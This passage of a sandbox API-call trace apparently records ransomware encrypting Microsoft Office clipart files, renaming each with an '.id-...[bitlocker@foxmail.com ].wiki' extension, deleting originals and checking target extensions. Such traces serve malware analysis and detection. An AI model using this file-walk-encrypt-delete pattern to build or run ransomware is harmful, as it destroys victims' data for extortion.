lpNewFilePointer=0x0) returned 1 [0191.175] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0191.176] GetLastError () returned 0x0 [0191.176] ReadFile (in: hFile=0x1f8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x5ee4, lpOverlapped=0x0) returned 1 [0191.223] WriteFile (in: hFile=0x1c8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x5ef0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x5ef0, lpOverlapped=0x0) returned 1 [0191.224] ReadFile (in: hFile=0x1f8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0191.224] WriteFile (in: hFile=0x1c8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0191.225] SetEndOfFile (hFile=0x1c8) returned 1 [0191.225] CloseHandle (hObject=0x1c8) returned 1 [0191.225] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.225] SetEndOfFile (hFile=0x1f8) returned 1 [0191.226] CloseHandle (hObject=0x1f8) returned 1 [0191.226] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0191.226] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf")) returned 1 [0191.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0191.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0191.226] lstrlenW (lpString=".doc") returned 4 [0191.226] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.226] lstrlenW (lpString=".docx") returned 5 [0191.226] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0191.226] lstrlenW (lpString=".pdf") returned 4 [0191.226] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.226] lstrlenW (lpString=".xls") returned 4 [0191.226] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.226] lstrlenW (lpString=".xlsx") returned 5 [0191.226] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0191.226] lstrlenW (lpString=".ppt") returned 4 [0191.226] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0191.226] lstrlenW (lpString=".zip") returned 4 [0191.226] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.226] lstrlenW (lpString=".rar") returned 4 [0191.226] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.227] lstrlenW (lpString=".bz2") returned 4 [0191.227] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.227] lstrlenW (lpString=".7z") returned 3 [0191.227] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0191.227] lstrlenW (lpString=".dbf") returned 4 [0191.227] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0191.227] lstrlenW (lpString=".1cd") returned 4 [0191.227] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0191.227] lstrlenW (lpString=".jpg") returned 4 [0191.227] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0191.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0191.227] lstrlenW (lpString=".doc") returned 4 [0191.227] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.227] lstrlenW (lpString=".docx") returned 5 [0191.227] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0191.227] lstrlenW (lpString=".pdf") returned 4 [0191.227] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.227] lstrlenW (lpString=".xls") returned 4 [0191.227] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.227] lstrlenW (lpString=".xlsx") returned 5 [0191.227] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0191.227] lstrlenW (lpString=".ppt") returned 4 [0191.227] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0191.227] lstrlenW (lpString=".zip") returned 4 [0191.227] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.227] lstrlenW (lpString=".rar") returned 4 [0191.227] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.228] lstrlenW (lpString=".bz2") returned 4 [0191.228] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.228] lstrlenW (lpString=".7z") returned 3 [0191.228] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0191.228] lstrlenW (lpString=".dbf") returned 4 [0191.228] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0191.228] lstrlenW (lpString=".1cd") returned 4 [0191.228] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned 63 [0191.228] lstrlenW (lpString=".jpg") returned 4 [0191.228] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.228] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0191.228] lstrlenW (lpString="J0099173.WMF") returned 12 [0191.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0191.229] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=37140) returned 1 [0191.229] CloseHandle (hObject=0x1f8) returned 1 [0191.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf")) returned 0x20 [0191.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0191.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0191.229] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.229] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0191.230] GetLastError () returned 0x0 [0191.230] ReadFile (in: hFile=0x1f8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x9114, lpOverlapped=0x0) returned 1 [0191.244] WriteFile (in: hFile=0x1c8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x9120, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x9120, lpOverlapped=0x0) returned 1 [0191.246] ReadFile (in: hFile=0x1f8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0191.246] WriteFile (in: hFile=0x1c8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0191.246] SetEndOfFile (hFile=0x1c8) returned 1 [0191.310] CloseHandle (hObject=0x1c8) returned 1 [0191.310] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.310] SetEndOfFile (hFile=0x1f8) returned 1 [0191.311] CloseHandle (hObject=0x1f8) returned 1 [0191.311] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0191.311] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf")) returned 1 [0191.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0191.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0191.315] lstrlenW (lpString=".doc") returned 4 [0191.315] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.315] lstrlenW (lpString=".docx") returned 5 [0191.315] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0191.315] lstrlenW (lpString=".pdf") returned 4 [0191.315] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.315] lstrlenW (lpString=".xls") returned 4 [0191.316] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.316] lstrlenW (lpString=".xlsx") returned 5 [0191.316] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0191.316] lstrlenW (lpString=".ppt") returned 4 [0191.316] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0191.316] lstrlenW (lpString=".zip") returned 4 [0191.316] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.316] lstrlenW (lpString=".rar") returned 4 [0191.316] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.316] lstrlenW (lpString=".bz2") returned 4 [0191.316] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.316] lstrlenW (lpString=".7z") returned 3 [0191.316] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0191.316] lstrlenW (lpString=".dbf") returned 4 [0191.316] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0191.316] lstrlenW (lpString=".1cd") returned 4 [0191.316] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0191.316] lstrlenW (lpString=".jpg") returned 4 [0191.316] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0191.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0191.316] lstrlenW (lpString=".doc") returned 4 [0191.316] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.317] lstrlenW (lpString=".docx") returned 5 [0191.317] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0191.317] lstrlenW (lpString=".pdf") returned 4 [0191.317] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.317] lstrlenW (lpString=".xls") returned 4 [0191.317] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.317] lstrlenW (lpString=".xlsx") returned 5 [0191.317] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0191.317] lstrlenW (lpString=".ppt") returned 4 [0191.317] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0191.317] lstrlenW (lpString=".zip") returned 4 [0191.317] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.317] lstrlenW (lpString=".rar") returned 4 [0191.317] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.317] lstrlenW (lpString=".bz2") returned 4 [0191.317] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.317] lstrlenW (lpString=".7z") returned 3 [0191.317] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0191.317] lstrlenW (lpString=".dbf") returned 4 [0191.317] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0191.317] lstrlenW (lpString=".1cd") returned 4 [0191.317] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0191.317] lstrlenW (lpString=".jpg") returned 4 [0191.317] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.318] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0191.318] lstrlenW (lpString="J0099175.WMF") returned 12 [0191.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0191.328] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=9744) returned 1 [0191.329] CloseHandle (hObject=0x1e0) returned 1 [0191.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf")) returned 0x20 [0191.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0191.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0191.329] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.329] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0191.329] GetLastError () returned 0x0 [0191.329] ReadFile (in: hFile=0x1e0, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x2610, lpOverlapped=0x0) returned 1 [0191.344] WriteFile (in: hFile=0x1e4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x2620, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x2620, lpOverlapped=0x0) returned 1 [0191.345] ReadFile (in: hFile=0x1e0, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0191.345] WriteFile (in: hFile=0x1e4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0191.345] SetEndOfFile (hFile=0x1e4) returned 1 [0191.345] CloseHandle (hObject=0x1e4) returned 1 [0191.345] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.345] SetEndOfFile (hFile=0x1e0) returned 1 [0191.346] CloseHandle (hObject=0x1e0) returned 1 [0191.346] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0191.346] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf")) returned 1 [0191.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0191.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0191.347] lstrlenW (lpString=".doc") returned 4 [0191.347] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.347] lstrlenW (lpString=".docx") returned 5 [0191.347] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0191.347] lstrlenW (lpString=".pdf") returned 4 [0191.347] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.347] lstrlenW (lpString=".xls") returned 4 [0191.347] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.347] lstrlenW (lpString=".xlsx") returned 5 [0191.347] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0191.347] lstrlenW (lpString=".ppt") returned 4 [0191.347] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0191.347] lstrlenW (lpString=".zip") returned 4 [0191.347] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.347] lstrlenW (lpString=".rar") returned 4 [0191.347] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.347] lstrlenW (lpString=".bz2") returned 4 [0191.347] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.347] lstrlenW (lpString=".7z") returned 3 [0191.347] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0191.347] lstrlenW (lpString=".dbf") returned 4 [0191.347] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0191.347] lstrlenW (lpString=".1cd") returned 4 [0191.347] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0191.347] lstrlenW (lpString=".jpg") returned 4 [0191.347] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0191.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0191.348] lstrlenW (lpString=".doc") returned 4 [0191.348] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.348] lstrlenW (lpString=".docx") returned 5 [0191.348] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0191.348] lstrlenW (lpString=".pdf") returned 4 [0191.348] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.348] lstrlenW (lpString=".xls") returned 4 [0191.348] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.348] lstrlenW (lpString=".xlsx") returned 5 [0191.348] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0191.348] lstrlenW (lpString=".ppt") returned 4 [0191.348] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0191.348] lstrlenW (lpString=".zip") returned 4 [0191.348] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.348] lstrlenW (lpString=".rar") returned 4 [0191.348] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.348] lstrlenW (lpString=".bz2") returned 4 [0191.348] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.348] lstrlenW (lpString=".7z") returned 3 [0191.348] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0191.348] lstrlenW (lpString=".dbf") returned 4 [0191.348] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0191.348] lstrlenW (lpString=".1cd") returned 4 [0191.348] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0191.348] lstrlenW (lpString=".jpg") returned 4 [0191.348] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.349] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0191.349] lstrlenW (lpString="J0099180.WMF") returned 12 [0191.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0191.349] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=3394) returned 1 [0191.349] CloseHandle (hObject=0x1e0) returned 1 [0191.349] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf")) returned 0x20 [0191.349] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0191.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0191.350] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.350] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 